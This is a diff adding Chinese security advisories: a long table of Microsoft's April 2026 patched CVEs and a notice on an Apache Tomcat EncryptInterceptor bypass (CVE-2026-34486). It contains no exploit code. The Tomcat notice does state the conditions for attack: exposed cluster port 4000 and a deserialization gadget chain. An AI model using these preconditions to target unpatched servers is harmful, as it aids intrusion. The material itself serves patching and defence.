Microsoft SQL Server

CVE-2026-32167

SQL Server权限提升漏洞

Important

Azure

CVE-2026-32168

Azure Monitor Agent权限提升漏洞

Important

.NET 9.0 installed on Mac OS,.NET 9.0 installed on Windows,.NET 10.0 installed on Mac OS,.NET 9.0 installed on Linux,.NET,Microsoft Visual Studio,.NET 10.0 installed on Windows,.NET 8.0 installed on Windows,.NET 8.0 installed on Mac OS,.NET 10.0 installed on Linux,.NET 8.0 installed on Linux

CVE-2026-32178

.NET欺骗漏洞

Important

Windows

CVE-2026-32181

Connected User Experiences and Telemetry Service拒绝服务漏洞

Important

Windows

CVE-2026-32183

Windows Snipping Tool远程代码执行漏洞

Important

Azure

CVE-2026-32184

Microsoft High Performance Compute (HPC) Pack权限提升漏洞

Important

Microsoft Office

CVE-2026-32188

Microsoft Excel信息泄露漏洞

Important

Microsoft Office

CVE-2026-32189

Microsoft Excel远程代码执行漏洞

Important

Azure

CVE-2026-32192

Azure Monitor Agent权限提升漏洞

Important

Windows

CVE-2026-32195

Windows Kernel权限提升漏洞

Important

Windows

CVE-2026-32202

Windows Shell欺骗漏洞

Important

Windows

CVE-2026-32215

Windows Kernel信息泄露漏洞

Important

Windows

CVE-2026-32216

Windows Redirected Drive Buffering System拒绝服务漏洞

Important

Windows

CVE-2026-32217

Windows Kernel信息泄露漏洞

Important

Windows

CVE-2026-32218

Windows Kernel信息泄露漏洞

Important

Windows

CVE-2026-32219

Microsoft Brokering File System权限提升漏洞

Important

Windows

CVE-2026-32220

UEFI Secure Boot安全功能绕过漏洞

Important

Windows

CVE-2026-32221

Windows Graphics Component远程代码执行漏洞

Important

Windows

CVE-2026-32222

Windows Win32k权限提升漏洞

Important

Windows

CVE-2026-32223

Windows USB Printing Stack (usbprint.sys)权限提升漏洞

Important

Windows

CVE-2026-32224

Windows Server Update Service (WSUS)权限提升漏洞

Important

Microsoft .NET Framework

CVE-2026-32226

.NET Framework拒绝服务漏洞

Important

Microsoft Office

CVE-2026-33095

Microsoft Word远程代码执行漏洞

Important

Windows

CVE-2026-33096

HTTP.sys拒绝服务漏洞

Important

Windows

CVE-2026-33098

Windows Container Isolation FS Filter Driver权限提升漏洞

Important

.NET 9.0 installed on Mac OS,.NET 9.0 installed on Windows,Microsoft .NET Framework,.NET 10.0 installed on Mac OS,.NET 9.0 installed on Linux,.NET,.NET 8.0 installed on Windows,.NET 8.0 installed on Mac OS,.NET 10.0 installed on Linux,.NET 8.0 installed on Linux

CVE-2026-33116

.NET, .NET Framework, and Visual Studio拒绝服务漏洞

Important

Microsoft SQL Server

CVE-2026-33120

Microsoft SQL Server远程代码执行漏洞

Important

Microsoft Office

CVE-2026-33822

Microsoft Word信息泄露漏洞

Important

Windows

CVE-2026-32212

Universal Plug and Play (upnp.dll)信息泄露漏洞

Important

Windows

CVE-2026-20928

Windows Recovery Environment安全功能绕过漏洞

Important

Windows

CVE-2026-20806

Windows COM Server信息泄露漏洞

Important

Microsoft Office

CVE-2026-23657

Microsoft Word远程代码执行漏洞

Important

PowerShell

CVE-2026-26143

Microsoft PowerShell安全功能绕过漏洞

Important

Windows

CVE-2026-26152

Microsoft Cryptographic Services权限提升漏洞

Important

Windows

CVE-2026-26153

Windows Encrypted File System (EFS)权限提升漏洞

Important

Windows

CVE-2026-26156

Windows Hyper-V远程代码执行漏洞

Important

Windows

CVE-2026-26159

Remote Desktop Licensing Service权限提升漏洞

Important

Windows

CVE-2026-26163

Windows Kernel权限提升漏洞

Important

Windows

CVE-2026-26168

Windows Ancillary Function Driver for WinSock权限提升漏洞

Important

Windows

CVE-2026-26169

Windows Kernel Memory信息泄露漏洞

Important

Windows

CVE-2026-26170

PowerShell权限提升漏洞

Important

Windows

CVE-2026-26172

Windows Push Notifications权限提升漏洞

Important

Windows

CVE-2026-26173

Windows Ancillary Function Driver for WinSock权限提升漏洞

Important

Windows

CVE-2026-26176

Windows Client Side Caching driver (csc.sys)权限提升漏洞

Important

Windows

CVE-2026-26177

Windows Ancillary Function Driver for WinSock权限提升漏洞

Important

Windows

CVE-2026-26178

Windows Advanced Rasterization Platform权限提升漏洞

Important

Windows

CVE-2026-26182

Windows Ancillary Function Driver for WinSock权限提升漏洞

Important

Windows

CVE-2026-26184

Windows Projected File System权限提升漏洞

Important

Windows

CVE-2026-27909

Windows Search Service权限提升漏洞

Important

Windows

CVE-2026-27910

Windows Installer权限提升漏洞

Important

Windows

CVE-2026-27911

Windows User Interface Core权限提升漏洞

Important

Windows

CVE-2026-27912

Windows Kerberos权限提升漏洞

Important

Windows

CVE-2026-27913

Windows BitLocker安全功能绕过漏洞

Important

Windows

CVE-2026-27914

Microsoft Management Console权限提升漏洞

Important

Windows

CVE-2026-27916

Windows UPnP Device Host权限提升漏洞

Important

Windows

CVE-2026-27920

Windows UPnP Device Host权限提升漏洞

Important

Windows

CVE-2026-27922

Windows Ancillary Function Driver for WinSock权限提升漏洞

Important

Windows

CVE-2026-27923

Desktop Window Manager权限提升漏洞

Important

Windows

CVE-2026-27925

Windows UPnP Device Host信息泄露漏洞

Important

Windows

CVE-2026-27928

Windows Hello安全功能绕过漏洞

Important

Windows

CVE-2026-27930

Windows GDI信息泄露漏洞

Important

Windows

CVE-2026-32068

Windows Simple Search and Discovery Protocol (SSDP) Service权限提升漏洞

Important

Windows

CVE-2026-32069

Windows Projected File System权限提升漏洞

Important

Windows

CVE-2026-32070

Windows Common Log File System Driver权限提升漏洞

Important

Windows

CVE-2026-32072

Active Directory欺骗漏洞

Important

Windows

CVE-2026-32074

Windows Projected File System权限提升漏洞

Important

Windows

CVE-2026-32076

Windows Storage Spaces Controller权限提升漏洞

Important

Windows

CVE-2026-32077

Windows UPnP Device Host权限提升漏洞

Important

Windows

CVE-2026-32078

Windows Projected File System权限提升漏洞

Important

Windows

CVE-2026-32079

Web Account Manager信息泄露漏洞

Important

Windows

CVE-2026-32080

Windows WalletService权限提升漏洞

Important

Windows

CVE-2026-32084

Windows Print Spooler信息泄露漏洞

Important

Windows

CVE-2026-32086

Windows Function Discovery Service (fdwsd.dll)权限提升漏洞

Important

Windows

CVE-2026-32088

Windows Biometric Service安全功能绕过漏洞

Important

Windows

CVE-2026-32091

Microsoft Brokering File System权限提升漏洞

Important

Windows

CVE-2026-32149

Windows Hyper-V远程代码执行漏洞

Important

Windows

CVE-2026-32150

Windows Function Discovery Service (fdwsd.dll)权限提升漏洞

Important

Windows

CVE-2026-32151

Windows Shell信息泄露漏洞

Important

Windows

CVE-2026-32153

Windows Speech Runtime权限提升漏洞

Important

Windows

CVE-2026-32155

Desktop Window Manager权限提升漏洞

Important

Windows

CVE-2026-32162

Windows COM权限提升漏洞

Important

Windows

CVE-2026-32163

Windows User Interface Core权限提升漏洞

Important

Windows

CVE-2026-32164

Windows User Interface Core权限提升漏洞

Important

Azure

CVE-2026-32171

Azure Logic Apps权限提升漏洞

Important

Microsoft SQL Server

CVE-2026-32176

SQL Server权限提升漏洞

Important

Windows

CVE-2026-32196

Windows Admin Center欺骗漏洞

Important

Microsoft Office

CVE-2026-32197

Microsoft Excel远程代码执行漏洞

Important

Microsoft Office

CVE-2026-32198

Microsoft Excel远程代码执行漏洞

Important

Microsoft Office

CVE-2026-32199

Microsoft Excel远程代码执行漏洞

Important

Microsoft Office

CVE-2026-32200

Microsoft PowerPoint远程代码执行漏洞

Important

Microsoft Office

CVE-2026-32201

Microsoft SharePoint Server欺骗漏洞

Important

.NET 9.0 installed on Mac OS,.NET 9.0 installed on Windows,.NET 10.0 installed on Mac OS,.NET 9.0 installed on Linux,.NET 10.0 installed on Windows,.NET 8.0 installed on Windows,.NET 8.0 installed on Mac OS,.NET 10.0 installed on Linux,.NET 8.0 installed on Linux

CVE-2026-26171

.NET拒绝服务漏洞

Important

.NET 9.0 installed on Mac OS,.NET 9.0 installed on Windows,.NET 10.0 installed on Mac OS,.NET 9.0 installed on Linux,Microsoft Visual Studio,.NET 10.0 installed on Windows,.NET 8.0 installed on Windows,.NET 8.0 installed on Mac OS,.NET 10.0 installed on Linux,.NET 8.0 installed on Linux

CVE-2026-32203

.NET and Visual Studio拒绝服务漏洞

Important

Windows

CVE-2026-32225

Windows Shell安全功能绕过漏洞

Important

Windows

CVE-2026-33099

Windows Ancillary Function Driver for WinSock权限提升漏洞

Important

Windows

CVE-2026-33100

Windows Ancillary Function Driver for WinSock权限提升漏洞

Important

Windows

CVE-2026-33101

Windows Print Spooler权限提升漏洞

Important

Microsoft Dynamics

CVE-2026-33103

Microsoft Dynamics 365 (On-Premises)信息泄露漏洞

Important

Windows

CVE-2026-33104

Win32k权限提升漏洞

Important

Windows

CVE-2026-32214

Universal Plug and Play (upnp.dll)信息泄露漏洞

Important

System Center

CVE-2026-33825

Microsoft Defender权限提升漏洞

Important

Windows

CVE-2026-33829

Windows Snipping Tool欺骗漏洞

Moderate

Microsoft Edge for Android

CVE-2026-33119

Microsoft Edge (Chromium-based) for Android欺骗漏洞

Moderate

Microsoft Edge (Chromium-based)

CVE-2026-33118

Microsoft Edge (Chromium-based)欺骗漏洞

Low

+ +**END** + +![](https://mmbiz.qpic.cn/mmbiz_png/qR4ORTNELImFwJM2rh6GKbnrurdFA28jJ8chUPyC1U6aW3jhenqEiaXkmeGVmfOnvAJy8j3My901JQ7emHaicYzA/640?wx_fmt=png "") +          + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qR4ORTNELImFwJM2rh6GKbnrurdFA28jib7icfic0lJJHh3eLRpIXiaia08KqOSEibBsz64vlOH9aqicu3lmjccEeAFWQ/640?wx_fmt=jpeg "") +         + +**声明** + +本安全公告仅用来描述可能存在的安全问题，绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，绿盟科技以及安全公告作者不为此承担任何责任。             + +绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告，必须保证此安全公告的完整性，包括版权声明等全部内容。未经绿盟科技允许，不得任意修改或者增减此安全公告内容，不得以任何方式将其用于商业目的。             + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qR4ORTNELImFwJM2rh6GKbnrurdFA28jib7icfic0lJJHh3eLRpIXiaia08KqOSEibBsz64vlOH9aqicu3lmjccEeAFWQ/640?wx_fmt=jpeg "") + + +**绿盟科技CERT** +∣ +微信公众号 + +![绿盟科技CERT公众号.jpg](https://mmbiz.qpic.cn/mmbiz_jpg/VvfsuOanecoKbQP1BfGMqyeibN7M4XFAxXAzOuaqHtEGEo1qP6sOwhHstf28N06nAXEyFCQXymmVaRWa7Gxyqibw/640?wx_fmt=jpeg&from=appmsg "绿盟科技CERT公众号.jpg") + +![](https://mmbiz.qpic.cn/mmbiz/Hu8hctxHqSW0nSJn8p8OHVEQwHicSwTibFJMBE650AxdzfISoeY8woe2QsgCINIBrccBOOUft2HuU0GsNQWibSG7g/640 "") + +长按识别二维码，关注网络安全威胁信息 + + diff --git a/doc/2026-04/【漏洞通告】Apache Tomcat EncryptInterceptor绕过漏洞(CVE-2026-34486).md b/doc/2026-04/【漏洞通告】Apache Tomcat EncryptInterceptor绕过漏洞(CVE-2026-34486).md new file mode 100644 index 00000000..a777f99a --- /dev/null +++ b/doc/2026-04/【漏洞通告】Apache Tomcat EncryptInterceptor绕过漏洞(CVE-2026-34486).md @@ -0,0 +1,52 @@ +# 【漏洞通告】Apache Tomcat EncryptInterceptor绕过漏洞(CVE-2026-34486) + 启明星辰安全简讯 2026-04-15 08:27 + +### 一、漏洞概述 +

漏洞名称

Apache Tomcat EncryptInterceptor绕过漏洞

CVE ID

CVE-2026-34486

漏洞类型

认证/授权机制绕过漏洞

发现时间

2026-4-15

漏洞评分

7.5

漏洞等级

高危

攻击向量

网络

所需权限

无

利用难度

低

用户交互

不需要

PoC/EXP

未公开

在野利用

未发现

+Apache Tomcat是一个开源的Java Servlet容器和Web服务器，主要用于运行Java应用程序，特别是基于Servlet和JSP技术的应用。它由Apache软件基金会开发，广泛应用于Web开发和企业级应用程序中，支持Servlet、JSP以及WebSocket等技术，具有高性能、可扩展性和可靠性。 + +2026年4月15日，启明星辰安全应急响应中心（VSRC）监测到Apache Tomcat EncryptInterceptor绕过漏洞。该漏洞源于对CVE-2026-29146的修复实现存在逻辑缺陷，导致用于保护集群通信安全的EncryptInterceptor机制可被绕过，从而使原本应加密的数据传输失去保护。在特定条件下，当Tomcat启用了Tribes集群功能并配置EncryptInterceptor拦截器，且攻击者能够访问集群通信端口（默认TCP 4000），同时目标服务器的Java Classpath中存在可利用的反序列化Gadget链时，攻击者可构造恶意数据包绕过加密校验并注入恶意序列化数据。成功利用该漏洞可能导致敏感信息泄露、通信被篡改，甚至结合反序列化利用链实现远程代码执行，进而对系统安全及数据合规性造成严重威胁。 +### 二、影响范围 + +Apache Tomcat = 11.0.20 + +Apache Tomcat = 10.1.53 + +Apache Tomcat = 9.0.116 +### 三、安全措施 + +3.1 升级版本 + +官方已发布修复补丁，以修复该漏洞。 + +Apache Tomcat >= 11.0.21 + +Apache Tomcat >= 10.1.54 + +Apache Tomcat >= 9.0.117 + +下载链接： + +https://tomcat.apache.org/ + +3.2 临时措施 + +暂无。 + +3.3 通用建议 + +定期更新系统补丁，减少系统漏洞，提升服务器的安全性。 + +加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。 + +使用企业级安全产品，提升企业的网络安全性能。 + +加强系统用户和权限管理，启用多因素认证机制和最小权限原则，用户和软件权限应保持在最低限度。 + +启用强密码策略并设置为定期修改。 + +3.4 参考链接 + +https://nvd.nist.gov/vuln/detail/CVE-2026-34486/ + +https://lists.apache.org/thread/9510k5p5zdvt9pkkgtyp85mvwxo2qrly/ diff --git a/doc/2026-04/【漏洞通告】微软4月多个安全漏洞.md b/doc/2026-04/【漏洞通告】微软4月多个安全漏洞.md new file mode 100644 index 00000000..fe4d1968 --- /dev/null +++ b/doc/2026-04/【漏洞通告】微软4月多个安全漏洞.md @@ -0,0 +1,307 @@ +# 【漏洞通告】微软4月多个安全漏洞 + 启明星辰安全简讯 2026-04-15 08:27 + +## 一、漏洞概述 + +202 +6 +年 +4 +月 +15 +日，启明星辰安全应急响应中心（VSRC）监测到微软发布了 +4 +月安全更新，本次更新修复了 +165 +个漏洞，涵盖 +特权提升 +、远程代码执行、 +信息泄露 +等多种漏洞类型。漏洞级别分布如下： +8 +个严重级别漏洞， +153 +个重要级别漏洞 +， +3个中危级别漏洞，1个低危级别漏洞 +（ +漏洞 +级别依据微软官方数据）。 + +其中， +20 +个漏洞被微软标记为“更可能被利用”及“检测利用情形”，表明这些漏洞存在较高的利用风险，建议优先修复以降低潜在安全威胁 +。 +

CVE-ID

CVE 标题

漏洞级别

CVE-2026-26151

远程桌面欺骗漏洞

重要

CVE-2026-0390

UEFI 安全启动安全功能绕过漏洞

重要

CVE-2026-26169

Windows 内核内存信息泄露漏洞

重要

CVE-2026-27906

Windows Hello 安全功能绕过漏洞

重要

CVE-2026-27908

Windows TDI 转换驱动程序 (tdx.sys) 特权提升漏洞

重要

CVE-2026-27909

Windows Search 服务特权提升漏洞

重要

CVE-2026-27913

Windows BitLocker 安全功能绕过漏洞

重要

CVE-2026-27914

Microsoft 管理控制台特权提升漏洞

重要

CVE-2026-27921

Windows TDI 转换驱动程序 (tdx.sys) 特权提升漏洞

重要

CVE-2026-32070

Windows 通用日志文件系统驱动程序提升权限漏洞

重要

CVE-2026-32075

Windows UPnP 设备主机特权漏洞提升

重要

CVE-2026-32093

Windows FUNCTION 发现服务 (fdwsd.dll) 特权提升漏洞

重要

CVE-2026-32152

桌面窗口管理器特权提升漏洞

重要

CVE-2026-32154

桌面窗口管理器特权提升漏洞

重要

CVE-2026-32162

Windows COM 特权提升漏洞

重要

CVE-2026-32202

Windows Shell 欺骗漏洞

重要

CVE-2026-32225

Windows Shell 安全功能绕过漏洞

重要

CVE-2026-33825

Microsoft Defender 权限提升漏洞

重要

CVE-2026-33826

Windows Active Directory 远程代码执行漏洞

严重

CVE-2026-32201

Microsoft SharePoint Server 欺骗漏洞

重要

+微软4月更新修复的完整漏洞列表如下： +

CVE-ID

CVE 标题

漏洞级别

CVE-2026-0390

UEFI 安全启动安全功能绕过漏洞

重要

CVE-2026-20806

Windows COM 服务器信息泄露漏洞

重要

CVE-2026-20928

Windows 恢复环境安全功能绕过漏洞

重要

CVE-2026-20930

Windows 管理服务特权提升漏洞

重要

CVE-2026-20945

Microsoft SharePoint Server 欺骗漏洞

重要

CVE-2026-23653

GitHub Copilot 及 Visual Studio Code 信息泄露漏洞

重要

CVE-2026-23657

Microsoft Word 远程执行代码漏洞

重要

CVE-2026-23666

.NET Framework 拒绝服务漏洞

严重

CVE-2026-23670

Windows 基于虚拟化的安全性 (VBS) 安全功能绕过漏洞

重要

CVE-2026-25184

AppLocker 筛选器驱动程序 (applockerfltr.sys) 特权提升漏洞

重要

CVE-2026-26143

Microsoft PowerShell 安全功能绕过漏洞

重要

CVE-2026-26149

Microsoft Power Apps 安全功能绕过漏洞

重要

CVE-2026-26151

远程桌面欺骗漏洞

重要

CVE-2026-26152

Microsoft Cryptographic Services 特权提升漏洞

重要

CVE-2026-26153

Windows 加密文件系统 (EFS) 特权提升漏洞

重要

CVE-2026-26154

Windows Server 更新服务 (WSUS) 篡改漏洞

重要

CVE-2026-26155

Microsoft 本地安全认证子系统服务信息泄露漏洞

重要

CVE-2026-26156

Windows Hyper-V 远程执行代码漏洞

重要

CVE-2026-26159

远程桌面授权服务特权提升漏洞

重要

CVE-2026-26160

远程桌面授权服务特权提升漏洞

重要

CVE-2026-26161

Windows 传感器数据服务特权提升漏洞

重要

CVE-2026-26162

Windows OLE 特权提升漏洞

重要

CVE-2026-26163

Windows 内核特权提升漏洞

重要

CVE-2026-26165

Windows Shell 特权提升漏洞

重要

CVE-2026-26166

Windows Shell 特权提升漏洞

重要

CVE-2026-26167

Windows 推送通知特权提升漏洞

重要

CVE-2026-26168

WinSock 的 Windows 辅助功能驱动程序特权提升漏洞

重要

CVE-2026-26169

Windows 内核内存信息泄露漏洞

重要

CVE-2026-26170

PowerShell 权限提升漏洞

重要

CVE-2026-26171

.NET 拒绝服务漏洞

重要

CVE-2026-26172

Windows 推送通知特权提升漏洞

重要

CVE-2026-26173

WinSock 的 Windows 辅助功能驱动程序特权提升漏洞

重要

CVE-2026-26174

Windows Server Update Service (WSUS) 特权提升漏洞

重要

CVE-2026-26175

Windows 启动管理器安全功能绕过漏洞

重要

CVE-2026-26176

Windows 客户端 Caching 驱动程序 (csc.sys) 特权提升漏洞

重要

CVE-2026-26177

WinSock 的 Windows 辅助功能驱动程序特权提升漏洞

重要

CVE-2026-26178

Windows 高级光栅化平台权限提升漏洞

重要

CVE-2026-26179

Windows 内核特权提升漏洞

重要

CVE-2026-26180

Windows 内核特权提升漏洞

重要

CVE-2026-26181

Microsoft 代理文件系统特权提升漏洞

重要

CVE-2026-26182

WinSock 的 Windows 辅助功能驱动程序特权提升漏洞

重要

CVE-2026-26183

远程访问管理服务/API（RPC 服务器）特权提升漏洞

重要

CVE-2026-26184

Windows 投影文件系统特权提升漏洞

重要

CVE-2026-27906

Windows Hello 安全功能绕过漏洞

重要

CVE-2026-27907

Windows 储存空间控件特权提升漏洞

重要

CVE-2026-27908

Windows TDI 转换驱动程序 (tdx.sys) 特权提升漏洞

重要

CVE-2026-27909

Windows Search 服务特权提升漏洞

重要

CVE-2026-27910

Windows Installer 特权提升漏洞

重要

CVE-2026-27911

Windows 用户界面核心特权提升漏洞

重要

CVE-2026-27912

Windows Kerberos 特权提升漏洞

重要

CVE-2026-27913

Windows BitLocker 安全功能绕过漏洞

重要

CVE-2026-27914

Microsoft 管理控制台特权提升漏洞

重要

CVE-2026-27915

Windows UPnP 设备主机特权漏洞提升

重要

CVE-2026-27916

Windows UPnP 设备主机特权漏洞提升

重要

CVE-2026-27917

Windows WFP-NDIS 轻量级筛选器驱动程序 (wfpwfs.sys) 特权提升漏洞

重要

CVE-2026-27918

Windows Shell 特权提升漏洞

重要

CVE-2026-27919

Windows UPnP 设备主机特权漏洞提升

重要

CVE-2026-27920

Windows UPnP 设备主机特权漏洞提升

重要

CVE-2026-27921

Windows TDI 转换驱动程序 (tdx.sys) 特权提升漏洞

重要

CVE-2026-27922

WinSock 的 Windows 辅助功能驱动程序特权提升漏洞

重要

CVE-2026-27923

桌面窗口管理器特权提升漏洞

重要

CVE-2026-27924

桌面窗口管理器特权提升漏洞

重要

CVE-2026-27925

Windows UPnP 设备主机信息泄露漏洞

重要

CVE-2026-27926

Windows Cloud Files Mini Filter Driver 特权提升漏洞

重要

CVE-2026-27927

Windows 投影文件系统特权提升漏洞

重要

CVE-2026-27928

Windows Hello 安全功能绕过漏洞

重要

CVE-2026-27929

Windows LUA 文件虚拟化筛选器驱动特权提升漏洞

重要

CVE-2026-27930

Windows GDI 信息泄露漏洞

重要

CVE-2026-27931

Windows GDI 信息泄露漏洞

重要

CVE-2026-32068

Windows 简单搜索和发现协议 (SSDP) 服务特权提升漏洞

重要

CVE-2026-32069

Windows 投影文件系统特权提升漏洞

重要

CVE-2026-32070

Windows 通用日志文件系统驱动程序提升权限漏洞

重要

CVE-2026-32071

Windows 本地安全机构子系统服务 (LSASS) 拒绝服务漏洞

重要

CVE-2026-32072

Active Directory 欺骗漏洞

重要

CVE-2026-32073

WinSock 的 Windows 辅助功能驱动程序特权提升漏洞

重要

CVE-2026-32074

Windows 投影文件系统特权提升漏洞

重要

CVE-2026-32075

Windows UPnP 设备主机特权漏洞提升

重要

CVE-2026-32076

Windows 储存空间控件特权提升漏洞

重要

CVE-2026-32077

Windows UPnP 设备主机特权漏洞提升

重要

CVE-2026-32078

Windows 投影文件系统特权提升漏洞

重要

CVE-2026-32079

Web 帐户管理器信息泄露漏洞

重要

CVE-2026-32080

Windows WalletService 特权提升漏洞

重要

CVE-2026-32081

程序包目录信息泄露漏洞

重要

CVE-2026-32082

Windows 简单搜索和发现协议 (SSDP) 服务特权提升漏洞

重要

CVE-2026-32083

Windows 简单搜索和发现协议 (SSDP) 服务特权提升漏洞

重要

CVE-2026-32084

Windows 打印后台处理程序信息泄露漏洞

重要

CVE-2026-32085

远程过程调用信息泄露漏洞

重要

CVE-2026-32086

Windows FUNCTION 发现服务 (fdwsd.dll) 特权提升漏洞

重要

CVE-2026-32087

Windows FUNCTION 发现服务 (fdwsd.dll) 特权提升漏洞

重要

CVE-2026-32088

Windows 生物识别服务安全功能绕过漏洞

重要

CVE-2026-32089

Windows 语音中介 API 特权提升漏洞

重要

CVE-2026-32090

Windows 语音中介 API 特权提升漏洞

重要

CVE-2026-32091

Microsoft 代理文件系统特权提升漏洞

重要

CVE-2026-32093

Windows FUNCTION 发现服务 (fdwsd.dll) 特权提升漏洞

重要

CVE-2026-32149

Windows Hyper-V 远程执行代码漏洞

重要

CVE-2026-32150

Windows FUNCTION 发现服务 (fdwsd.dll) 特权提升漏洞

重要

CVE-2026-32151

Windows Shell 信息泄露漏洞

重要

CVE-2026-32152

桌面窗口管理器特权提升漏洞

重要

CVE-2026-32153

Windows 语音运行时特权提升漏洞

重要

CVE-2026-32154

桌面窗口管理器特权提升漏洞

重要

CVE-2026-32155

桌面窗口管理器特权提升漏洞

重要

CVE-2026-32156

Windows UPnP 设备主机远程代码执行漏洞

重要

CVE-2026-32157

远程桌面客户端远程执行代码漏洞

严重

CVE-2026-32158

Windows 推送通知特权提升漏洞

重要

CVE-2026-32159

Windows 推送通知特权提升漏洞

重要

CVE-2026-32160

Windows 推送通知特权提升漏洞

重要

CVE-2026-32162

Windows COM 特权提升漏洞

重要

CVE-2026-32163

Windows 用户界面核心特权提升漏洞

重要

CVE-2026-32164

Windows 用户界面核心特权提升漏洞

重要

CVE-2026-32165

Windows 用户界面核心特权提升漏洞

重要

CVE-2026-32167

SQL 服务器特权提升漏洞

重要

CVE-2026-32168

Azure Monitor 代理特权提升漏洞

重要

CVE-2026-32171

Azure 逻辑应用特权提升漏洞

重要

CVE-2026-32176

SQL 服务器特权提升漏洞

重要

CVE-2026-32178

.NET 欺骗漏洞

重要

CVE-2026-32181

已连接用户体验和遥测服务拒绝服务漏洞

重要

CVE-2026-32183

Windows 截图工具远程代码执行漏洞

重要

CVE-2026-32184

Microsoft 高性能计算 (HPC) 包特权提升漏洞

重要

CVE-2026-32188

Microsoft Excel 信息泄露漏洞

重要

CVE-2026-32189

Microsoft Excel 远程执行代码漏洞

重要

CVE-2026-32190

Microsoft Office 远程执行代码漏洞

严重

CVE-2026-32192

Azure Monitor 代理特权提升漏洞

重要

CVE-2026-32195

Windows 内核特权提升漏洞

重要

CVE-2026-32196

Windows 管理中心欺骗漏洞

重要

CVE-2026-32197

Microsoft Excel 远程执行代码漏洞

重要

CVE-2026-32198

Microsoft Excel 远程执行代码漏洞

重要

CVE-2026-32199

Microsoft Excel 远程执行代码漏洞

重要

CVE-2026-32200

Microsoft PowerPoint 远程代码执行漏洞

重要

CVE-2026-32201

Microsoft SharePoint Server 欺骗漏洞

重要

CVE-2026-32202

Windows Shell 欺骗漏洞

重要

CVE-2026-32203

.NET 和 Visual Studio 拒绝服务漏洞

重要

CVE-2026-32212

通用即插即用组件(upnp.dll) 信息泄露漏洞

重要

CVE-2026-32214

通用即插即用组件(upnp.dll) 信息泄露漏洞

重要

CVE-2026-32215

Windows 内核信息泄露漏洞

重要

CVE-2026-32216

Windows 重定向驱动器缓冲系统拒绝服务漏洞

中

CVE-2026-32217

Windows 内核信息泄露漏洞

重要

CVE-2026-32218

Windows 内核信息泄露漏洞

重要

CVE-2026-32219

Microsoft 代理文件系统特权提升漏洞

重要

CVE-2026-32220

UEFI 安全启动安全功能绕过漏洞

重要

CVE-2026-32221

Windows 图形组件远程执行代码漏洞

重要

CVE-2026-32222

Windows Win32k 特权提升漏洞

重要

CVE-2026-32223

Windows USB 打印栈 (usbprint.sys) 特权提升漏洞

重要

CVE-2026-32224

Windows Server Update Service (WSUS) 特权提升漏洞

重要

CVE-2026-32225

Windows Shell 安全功能绕过漏洞

重要

CVE-2026-32226

.NET Framework 拒绝服务漏洞

重要

CVE-2026-33095

Microsoft Word 远程执行代码漏洞

重要

CVE-2026-33096

HTTP.sys 拒绝服务漏洞

重要

CVE-2026-33098

Windows 容器隔离 FS 筛选器驱动程序特权提升漏洞

重要

CVE-2026-33099

WinSock 的 Windows 辅助功能驱动程序特权提升漏洞

重要

CVE-2026-33100

WinSock 的 Windows 辅助功能驱动程序特权提升漏洞

重要

CVE-2026-33101

Windows 打印后台处理程序特权提升漏洞

重要

CVE-2026-33103

Microsoft Dynamics 365（本地）信息泄露漏洞

重要

CVE-2026-33104

Win32k 特权提升漏洞

重要

CVE-2026-33114

Microsoft Word 远程执行代码漏洞

严重

CVE-2026-33115

Microsoft Word 远程执行代码漏洞

严重

CVE-2026-33116

.NET、.NET Framework 和 Visual Studio 拒绝服务漏洞

重要

CVE-2026-33118

基于Chromium 的 Microsoft Edge 欺骗漏洞

低

CVE-2026-33119

Android 版 Microsoft Edge（基于 Chromium）欺骗漏洞

中

CVE-2026-33120

Microsoft SQL Server 远程执行代码漏洞

重要

CVE-2026-33822

Microsoft Word 信息泄露漏洞

重要

CVE-2026-33824

Windows Internet 密钥交换 (IKE) 服务扩展远程代码执行漏洞

严重

CVE-2026-33825

Microsoft Defender 权限提升漏洞

重要

CVE-2026-33826

Windows Active Directory 远程代码执行漏洞

严重

CVE-2026-33827

Windows TCP/IP 远程执行代码漏洞

严重

CVE-2026-33829

Windows 截图工具欺骗漏洞

中

+## 二、影响范围 + +受影响的产品 +/ +功能 +/ +服务 +/ +组件包括： + +Windows Boot Loader + +Windows COM + +Windows Recovery Environment Agent + +Windows Management Services + +Microsoft Office SharePoint + +GitHub Copilot and Visual Studio Code + +Microsoft Office Word + +.NET Framework + +Windows Virtualization-Based Security (VBS) Enclave + +Applocker Filter Driver (applockerfltr.sys) + +Microsoft PowerShell + +Microsoft Power Apps + +Windows Remote Desktop + +Windows Cryptographic Services + +Windows Encrypting File System (EFS) + +Windows Server Update Service + +Windows Local Security Authority Subsystem Service (LSASS) + +Role: Windows Hyper-V + +Windows Remote Desktop Licensing Service + +Windows Sensor Data Service + +Windows OLE + +Windows Kernel + +Windows Shell + +Windows Push Notifications + +Windows Ancillary Function Driver for WinSock + +Windows Kernel Memory + +.NET + +Windows Boot Manager + +Windows Client Side Caching driver (csc.sys) + +Windows Advanced Rasterization Platform + +Microsoft Brokering File System + +Windows RPC API + +Windows Projected File System + +Windows Hello + +Windows Storage Spaces Controller + +Windows TDI Translation Driver (tdx.sys) + +Microsoft Windows Search Component + +Windows Installer + +Windows User Interface Core + +Windows Kerberos + +Windows BitLocker + +Microsoft Management Console + +Windows Universal Plug and Play (UPnP) Device Host + +Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) + +Windows TCP/IP + +Desktop Window Manager + +Windows Cloud Files Mini Filter Driver + +Windows LUAFV + +Windows GDI + +Windows SSDP Service + +Windows Common Log File System Driver + +Windows Active Directory + +Windows File Explorer + +Windows WalletService + +Windows Remote Procedure Call + +Function Discovery Service (fdwsd.dll) + +Windows Biometric Service + +Windows Speech Brokered Api + +Microsoft Windows Speech + +Remote Desktop Client + +SQL Server + +Azure Monitor Agent + +Azure Logic Apps + +Microsoft Windows + +Windows Snipping Tool + +Microsoft High Performance Compute Pack (HPC) + +Microsoft Office Excel + +Microsoft Office + +Windows Admin Center + +Microsoft Office PowerPoint + +.NET and Visual Studio + +Universal Plug and Play (upnp.dll) + +Windows Redirected Drive Buffering + +Microsoft Graphics Component + +Windows Win32K - ICOMP + +Windows USB Print Driver + +Windows HTTP.sys + +Windows Container Isolation FS 